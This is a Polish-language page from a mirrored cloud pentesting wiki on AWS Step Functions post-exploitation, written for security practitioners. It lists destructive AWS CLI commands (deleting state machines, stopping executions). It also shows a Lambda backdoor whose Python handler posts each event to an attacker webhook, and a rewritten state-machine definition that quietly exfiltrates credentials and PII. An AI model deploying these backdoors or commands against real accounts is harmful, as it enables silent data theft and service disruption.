mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
186 lines
7.3 KiB
Markdown
186 lines
7.3 KiB
Markdown
# AWS - Step Functions Post Exploitation
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|
|
|
|
## Step Functions
|
|
|
|
Aby uzyskać więcej informacji o tej usłudze AWS, sprawdź:
|
|
|
|
{{#ref}}
|
|
../../aws-services/aws-stepfunctions-enum.md
|
|
{{#endref}}
|
|
|
|
### `states:RevealSecrets`
|
|
|
|
To uprawnienie pozwala **ujawnić poufne dane wewnątrz wykonania**. W tym celu trzeba ustawić Inspection level na TRACE oraz parametr revealSecrets na true.
|
|
|
|
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
|
|
|
Atakujący z tymi uprawnieniami mógłby trwale usunąć state machines, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, spowodować utratę danych i wymagać znacznego czasu na odzyskanie oraz przywrócenie dotkniętych state machines. Dodatkowo pozwoliłoby to napastnikowi zatrzeć ślady, utrudnić dochodzenia kryminalistyczne i potencjalnie sparaliżować operacje przez usunięcie istotnych procesów automatyzacji i konfiguracji stanów.
|
|
|
|
> [!NOTE]
|
|
>
|
|
> - Usunięcie state machine powoduje również usunięcie wszystkich powiązanych wersji i aliasów.
|
|
> - Usunięcie aliasu state machine nie usuwa wersji state machine, które odwołują się do tego aliasu.
|
|
> - Nie można usunąć wersji state machine, która jest obecnie referencjonowana przez jeden lub więcej aliasów.
|
|
```bash
|
|
# Delete state machine
|
|
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
|
# Delete state machine version
|
|
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
|
# Delete state machine alias
|
|
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
|
```
|
|
- **Potential Impact**: Zakłócenie krytycznych przepływów pracy, utrata danych i przestoje operacyjne.
|
|
|
|
### `states:UpdateMapRun`
|
|
|
|
Atakujący z tym uprawnieniem mógłby manipulować konfiguracją obsługi błędów Map Run oraz ustawieniem paralelizmu, zwiększając lub zmniejszając maksymalną liczbę dozwolonych child workflow executions, co bezpośrednio wpływa na wydajność usługi. Dodatkowo atakujący mógłby ingerować w tolerowany procent i liczbę błędów, zmniejszając tę wartość do 0, tak że za każdym razem gdy element zawiedzie, cały map run zakończy się niepowodzeniem, co bezpośrednio wpłynie na state machine execution i potencjalnie zakłóci krytyczne przepływy pracy.
|
|
```bash
|
|
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
|
```
|
|
- **Potencjalny wpływ**: Pogorszenie wydajności i zakłócenie krytycznych przepływów pracy.
|
|
|
|
### `states:StopExecution`
|
|
|
|
Atakujący posiadający to uprawnienie może zatrzymać wykonanie dowolnej maszyny stanów, przerywając trwające przepływy pracy i procesy. Może to prowadzić do nieukończonych transakcji, zatrzymania operacji biznesowych oraz potencjalnego uszkodzenia danych.
|
|
|
|
> [!WARNING]
|
|
> Ta akcja nie jest obsługiwana przez **express state machines**.
|
|
```bash
|
|
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
|
```
|
|
- **Potencjalny wpływ**: Zakłócenie trwających przepływów pracy, przestoje operacyjne i potencjalne uszkodzenie danych.
|
|
|
|
### `states:TagResource`, `states:UntagResource`
|
|
|
|
Atakujący może dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w organizacji, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach.
|
|
```bash
|
|
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
|
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
|
```
|
|
**Potencjalny wpływ**: Zakłócenie alokacji kosztów, śledzenia zasobów i polityk kontroli dostępu opartych na tagach.
|
|
|
|
---
|
|
|
|
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
|
|
|
Atakujący, który przejmie użytkownika lub rolę posiadającą następujące uprawnienia:
|
|
```json
|
|
{
|
|
"Version": "2012-10-17",
|
|
"Statement": [
|
|
{
|
|
"Sid": "AllowUpdateStateMachine",
|
|
"Effect": "Allow",
|
|
"Action": "states:UpdateStateMachine",
|
|
"Resource": "*"
|
|
},
|
|
{
|
|
"Sid": "AllowUpdateFunctionCode",
|
|
"Effect": "Allow",
|
|
"Action": "lambda:UpdateFunctionCode",
|
|
"Resource": "*"
|
|
}
|
|
]
|
|
}
|
|
```
|
|
...może przeprowadzić **high-impact and stealthy post-exploitation attack** poprzez połączenie Lambda backdooring z Step Function logic manipulation.
|
|
|
|
Scenariusz zakłada, że ofiara używa **AWS Step Functions to orchestrate workflows that process sensitive input**, takich jak credentials, tokens, lub PII.
|
|
|
|
Przykładowe wywołanie ofiary:
|
|
```bash
|
|
aws stepfunctions start-execution \
|
|
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
|
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
|
```
|
|
Jeśli Step Function jest skonfigurowana do wywoływania Lambda takiej jak `LegitBusinessLogic`, atakujący może przystąpić do **dwóch dyskretnych wariantów ataku**:
|
|
|
|
---
|
|
|
|
#### Zaktualizowano funkcję Lambda
|
|
|
|
Atakujący modyfikuje kod funkcji Lambda już używanej przez Step Function (`LegitBusinessLogic`), aby po cichu exfiltrate dane wejściowe.
|
|
```python
|
|
# send_to_attacker.py
|
|
import requests
|
|
|
|
def lambda_handler(event, context):
|
|
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
|
return {"status": "exfiltrated"}
|
|
```
|
|
|
|
```bash
|
|
zip function.zip send_to_attacker.py
|
|
|
|
aws lambda update-function-code \
|
|
--function-name LegitBusinessLogic \
|
|
--zip-file fileb://function.zip -profile attacker
|
|
```
|
|
---
|
|
|
|
#### Dodaj złośliwy stan do Step Function
|
|
|
|
Alternatywnie, atakujący może wstrzyknąć **exfiltration state** na początku przepływu pracy, aktualizując definicję Step Function.
|
|
```malicious_state_definition.json
|
|
{
|
|
"Comment": "Backdoored for Exfiltration",
|
|
"StartAt": "OriginalState",
|
|
"States": {
|
|
"OriginalState": {
|
|
"Type": "Task",
|
|
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
|
"End": true
|
|
}
|
|
}
|
|
}
|
|
|
|
```
|
|
|
|
```bash
|
|
aws stepfunctions update-state-machine \
|
|
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
|
--definition file://malicious_state_definition.json --profile attacker
|
|
```
|
|
Atakujący może działać jeszcze bardziej dyskretnie, aktualizując definicję stanu do czegoś takiego
|
|
{
|
|
"Comment": "Backdoored for Exfiltration",
|
|
"StartAt": "ExfiltrateSecrets",
|
|
"States": {
|
|
"ExfiltrateSecrets": {
|
|
"Type": "Task",
|
|
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
|
"InputPath": "$",
|
|
"ResultPath": "$.exfil",
|
|
"Next": "OriginalState"
|
|
},
|
|
"OriginalState": {
|
|
"Type": "Task",
|
|
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
|
"End": true
|
|
}
|
|
}
|
|
}
|
|
gdzie ofiara nie zauważy różnicy
|
|
|
|
---
|
|
|
|
### Victim Setup (Context for Exploit)
|
|
|
|
- A Step Function (`LegitStateMachine`) jest używana do przetwarzania wrażliwych danych wejściowych użytkownika.
|
|
- Wywołuje jedną lub więcej funkcji Lambda, takich jak `LegitBusinessLogic`.
|
|
|
|
---
|
|
|
|
**Potencjalny wpływ**:
|
|
- Cicha exfiltration wrażliwych danych, w tym secrets, credentials, API keys i PII.
|
|
- Brak widocznych błędów lub awarii w wykonywaniu workflow.
|
|
- Trudne do wykrycia bez audytu kodu Lambda lub śladów wykonania.
|
|
- Umożliwia długoterminową persistence, jeśli backdoor pozostanie w kodzie lub logice ASL.
|
|
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|